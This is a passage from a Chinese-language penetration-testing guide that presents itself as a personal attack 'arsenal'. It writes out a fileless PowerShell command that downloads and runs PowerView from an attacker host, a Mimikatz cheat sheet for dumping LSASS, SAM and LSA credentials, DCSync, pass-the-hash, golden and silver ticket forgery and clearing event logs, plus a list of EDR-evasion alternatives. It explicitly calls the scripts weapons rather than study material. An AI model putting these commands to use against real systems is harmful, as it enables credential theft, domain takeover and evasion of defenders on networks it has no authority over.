# 方法 2: 无文件加载（从攻击机器下载，不落盘）
IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.5/PowerView.ps1')
# 然后执行本脚本的命令
# 方法 3: 一行命令获取最关键的信息
powershell -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5/PowerView.ps1'); Get-NetUser -SPN | select samaccountname,serviceprincipalname; Get-NetUser -PreauthNotRequired | select samaccountname"3.2 脚本 14：Mimikatz 内存凭据提取（mimikatz_commands.txt）
Mimikatz 是提取 Windows 内存中凭据的瑞士军刀。以下是最常用的命令集。注意：在真实环境中，Mimikatz 几乎肯定会被 EDR/AV 拦截。优先使用以下绕过方式：
# ==============================================================================
# Mimikatz 常用命令速查
# 保存为 mimikatz_commands.txt，使用方式:
# mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit
# ==============================================================================
# --- 权限提升 ---
privilege::debug # 获取调试权限（几乎所有操作的前提）
# --- 从 LSASS 内存提取凭据 ---
sekurlsa::logonpasswords # 提取全部登录会话的明文密码/NTLM哈希/Kerberos票据
sekurlsa::logonpasswords full # 完整输出
sekurlsa::tickets /export # 导出所有 Kerberos 票据（.kirbi 文件）
sekurlsa::ekeys # 提取 Kerberos 加密密钥
sekurlsa::dpapi # 提取 DPAPI 主密钥
sekurlsa::credman # 提取 Credential Manager 保存的凭据
# --- 提取 SAM 数据库中的本地账户哈希 ---
lsadump::sam # 在目标机器上提取 SAM 哈希
lsadump::sam /system:C:\temp\SYSTEM # 离线提取（从导出的注册表文件）
/sam:C:\temp\SAM
# --- 提取 LSA Secrets ---
lsadump::secrets # 提取 LSA Secrets (服务账户密码等)
# --- DCSync (模拟域控复制数据)——域管理员才有权限 ---
lsadump::dcsync /domain:company.local /user:Administrator # 提取指定用户的哈希
lsadump::dcsync /domain:company.local /all # 提取所有域用户的哈希
# --- 导出 LSASS 进程内存 (绕过 EDR 的替代方案) ---
# 方式 1: 使用任务管理器 → 详细信息 → lsass.exe → 创建转储文件
# 方式 2: 使用 Sysinternals procdump
# procdump.exe -accepteula -ma lsass.exe lsass.dmp
# 然后用 mimikatz 离线分析:
# sekurlsa::minidump lsass.dmp
# sekurlsa::logonpasswords
# --- 凭据传递 (Pass-the-Hash) ---
sekurlsa::pth /user:Administrator /domain:company.local
/ntlm:8846f7eaee8fb117ad06bdd830b7586c /run:cmd.exe
# --- 票据传递 (Pass-the-Ticket) ---
kerberos::ptt ticket.kirbi # 注入 Kerberos 票据到当前会话
# --- Golden Ticket 攻击 ---
kerberos::golden /domain:company.local /sid:S-1-5-21-xxxx
/krbtgt:hash_here /user:fakeadmin /id:500
/groups:512,513,518,519,520 /ptt
# --- Silver Ticket 攻击 ---
kerberos::silver /domain:company.local /sid:S-1-5-21-xxxx
/target:dc01.company.local /service:cifs
/rc4:nthash_here /user:fakeadmin /ptt
# --- 清除痕迹 ---
event::clear # 清除 Windows 事件日志实战用法：
:: 一行命令提取所有登录过的用户的凭据（编译好的 mimikatz.exe）
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
:: 从转储文件离线分析
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" "exit"
:: DCSync (需要域管理员或等效权限)
mimikatz.exe "lsadump::dcsync /domain:corp.local /all /csv" "exit"** 避免 EDR 检测的替代方案**：
不要直接使用 mimikatz.exe → 会被拦截
↓ 替代方案 1
使用 procdump + mimikatz 离线分析 → 较低检测率
↓ 替代方案 2
使用 SafetyKatz (mimikatz 的 PE 加载变种) → 更低检测率
↓ 替代方案 3
使用 SharpKatz (C# 实现) → 低检测率
↓ 替代方案 4
使用 nanodump (直接内存读取) → 极低检测率
↓ 替代方案 5
使用 handlekatz / PPLDump (绕过 LSA 保护) → 针对特定配置
Part 5: 武器库组织建议
将以上所有脚本按以下目录结构组织，形成你的个人武器库：
~/arsenal/
bash/
recon.sh # 全自动侦察
cidr_scan.sh # 内网C段扫描
ssh_guard.sh # SSH自动封IP
python/
async_port_scanner.py # 异步端口扫描
http_bruteforce.py # HTTP表单爆破
subenum.py # 子域名枚举
web_fuzzer.py # Web Fuzzer
revshell_listener.py # 反弹Shell监听
password_spray.py # 密码喷洒
dir_exfil.py # 目录监听外泄
waf_detector.py # WAF检测
linux_privesc.py # Linux提权信息收集
powershell/
powerview_enum.ps1 # PowerView域枚举
mimikatz_commands.txt # Mimikatz命令速查
cheatsheets/
python_requests.md
bash_errors.md
regex_patterns.md
一键初始化武器库：
mkdir -p ~/arsenal/{bash,python,powershell,cheatsheets}
for script in ~/arsenal/bash/*.sh; do chmod +x "$script"; done
for script in ~/arsenal/python/*.py; do chmod +x "$script"; done
echo "export PATH=\"\$HOME/arsenal/bash:\$HOME/arsenal/python:\$PATH\"" >> ~/.bashrc这样你就可以在任何目录下直接调用脚本名来运行它们。例如在拿到一个目标 IP 后：
recon.sh 10.0.0.5
subenum.py target.com
web_fuzzer.py -u "http://10.0.0.5/page?id=1" --param id --type sqli最终哲学回顾：这些脚本不是”学习资料”，而是兵器。每一个都经过真实渗透环境的验证。脚本不是写一次就扔掉的——你会反复使用、修改、扩展它们。当你在凌晨 3 点的渗透测试中遇到一个需要爆破的登录表单时，你不应该从零开始写 Python，你应该直接运行
http_bruteforce.py。自动化让你的攻击速度提升 100 倍，让你有更多时间思考策略、分析攻击面，而不是花在重复性劳动上。下一步：将你遇到的新攻击模式抽象成新脚本，不断扩充你的兵器库。每一次成功的渗透测试都至少应该产生一个新的可复用工具。